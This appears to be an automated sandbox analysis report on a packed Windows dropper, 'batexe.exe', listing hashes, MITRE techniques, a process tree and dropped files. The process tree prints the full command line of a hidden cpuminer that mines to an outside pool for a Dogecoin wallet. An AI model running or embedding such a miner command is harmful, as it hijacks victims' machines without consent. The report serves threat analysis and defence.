73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
298s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
23/02/2024, 20:18

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2872	b2e.exe
3592	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3592	cpuminer-sse2.exe
3592	cpuminer-sse2.exe
3592	cpuminer-sse2.exe
3592	cpuminer-sse2.exe
3592	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3768-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3768 wrote to memory of 2872	3768	batexe.exe	91
PID 3768 wrote to memory of 2872	3768	batexe.exe	91
PID 3768 wrote to memory of 2872	3768	batexe.exe	91
PID 2872 wrote to memory of 2712	2872	b2e.exe	92
PID 2872 wrote to memory of 2712	2872	b2e.exe	92
PID 2872 wrote to memory of 2712	2872	b2e.exe	92
PID 2712 wrote to memory of 3592	2712	cmd.exe	95
PID 2712 wrote to memory of 3592	2712	cmd.exe	95

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3768
- C:\Users\Admin\AppData\Local\Temp\87AE.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\87AE.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\87AE.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8E17.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2712
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\87AE.tmp\b2e.exe

Filesize
22.6MB

MD5
514fab649cf67b1913f5f761130184ee

SHA1
0564b1276fae64d05bd3bbc8efd05a7c11955e7d

SHA256
964d581ff7fa965f9dfee55b630e00fe70ba029fefcf6fe9fdff68439954eb60

SHA512
2069178ce6fc1f1b226e4571012ed166a0c76898e9e3554bf2c13980d060191a1ba95301173e9ee10b5c1e874f35e4e2bbb5ed052c842489354935224e033ab0

Download Submit
C:\Users\Admin\AppData\Local\Temp\87AE.tmp\b2e.exe

Filesize
576KB

MD5
119b67967e9fb70b35b10846a211451e

SHA1
a53f0b93594f8a1a98dbfc74d9618e75ae25fc0e

SHA256
4cadf7e8122358ea260269b67f2c45abd114ee61349ac9a859f26ede9cd873ae

SHA512
eecc92eaeb53ce2bdd5ebaab56ca3a6b54f8eb1cf789f3af972ec2d0a16ddf2aedc08bda97f7dd765ae46f9d506bc397dc2aff1f9fedd74e3e042bb48459ed5e

Download Submit
C:\Users\Admin\AppData\Local\Temp\87AE.tmp\b2e.exe

Filesize
1.9MB

MD5
db5c09852a9dce74cc260d402b8487bb

SHA1
7f53cb14088c23cb2140e52b245535100dfbea85

SHA256
e7a5f75e6901b233b87b806134d5bea194e44705f263f86f471c89fd16d9e262

SHA512
83f204c1b641a7c4e33b91cad2fe52c450637ff5653a8d98709d728f7930e9a9e13ceb974c2cf8e622f5ded0766ec86ca01684e3af80f6fd00100c27f36df133

Download Submit
C:\Users\Admin\AppData\Local\Temp\8E17.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.7MB

MD5
665cf1b87962dd690667091830fee7ef

SHA1
f31573660db0302ace0972f23dda211db993c310

SHA256
3036cd6a1d3b30e99180779dac8ba4ba2a17e0c37a4eb761a4703c986f0e2189

SHA512
a3fdd9bbbe741801833bb3dc89fc5314c1070ddec47c795ccc8b6d64ef36720a6cc994283b0a0a031c568778236c303eead12d90e823bcd4d90198f202b3dd34

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.5MB

MD5
1575adfe3e476740eb11f16b4ea0c46a

SHA1
3adb1b484502181735145850a2829c26c35582b8

SHA256
9312bb070a8ad82af52a9eec045ed98f39520a1e1e80a88d173cb83e93794f5b

SHA512
895535f60bd22710c93f435e3d0c515d5d6f6859ee92838e524fc6a3a81a318c3b9b3ff86f5031e72a9823255d943142e6383cb000790b7e81bd5e4721699dd7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
2137b157016c47362669ffea07a0f38f

SHA1
861c8cdc702e836e99281ee4dd17e9c3bab80363

SHA256
d50f025e5a18e64de3a38cc8e75f2ea19b7c3adfdc6c4b4f5c9a24890b93f572

SHA512
06eb44f7a7f632c23866cd1a29edbede6c160365e2b861cdef0c652ca88097efd15c98ef14df3ad3d126638073fba4ccdb7a1fbaedb7c235be8bfbefbb4e3ba1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
9c0d0c2474e45b2c175072cfa452c103

SHA1
e505058a1b0581dd076e80587aff782d7ec63be6

SHA256
ec29d4888b8753cfde4bc501c14af9a42ad7a279c68489e4a9e43c959253dce2

SHA512
6ac4054a7416bef3d810840086f41df723d941b129361bc6c11cd8b285b9bc5604fe9b7fc2945f7460edab9d7ede33395e0fb7ae15e4570b01e9204087a015d5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
4f67f8eb492666b30cfc167742ff8ce6

SHA1
7bfe414ccf11faa21ba8b407aed03c9a3bbdadde

SHA256
aec9c52c0d445bdee35f7ba93094836b61a496649a58992265709f3564503db4

SHA512
23d8cfd19a24e6916294c7930c4bd780029b553600b54e2fed5cde63638cc7934cc415e1ba56453e7460f4f257f58cfc56c774dc8e2777abf596567a363628f9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2872-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2872-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3592-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3592-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3592-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3592-46-0x000000005DD80000-0x000000005DE18000-memory.dmp

Filesize
608KB

Download
memory/3592-47-0x0000000001030000-0x00000000028E5000-memory.dmp

Filesize
24.7MB

Download
memory/3592-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3592-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3592-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3592-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3592-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3592-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3592-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3592-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3592-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3768-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download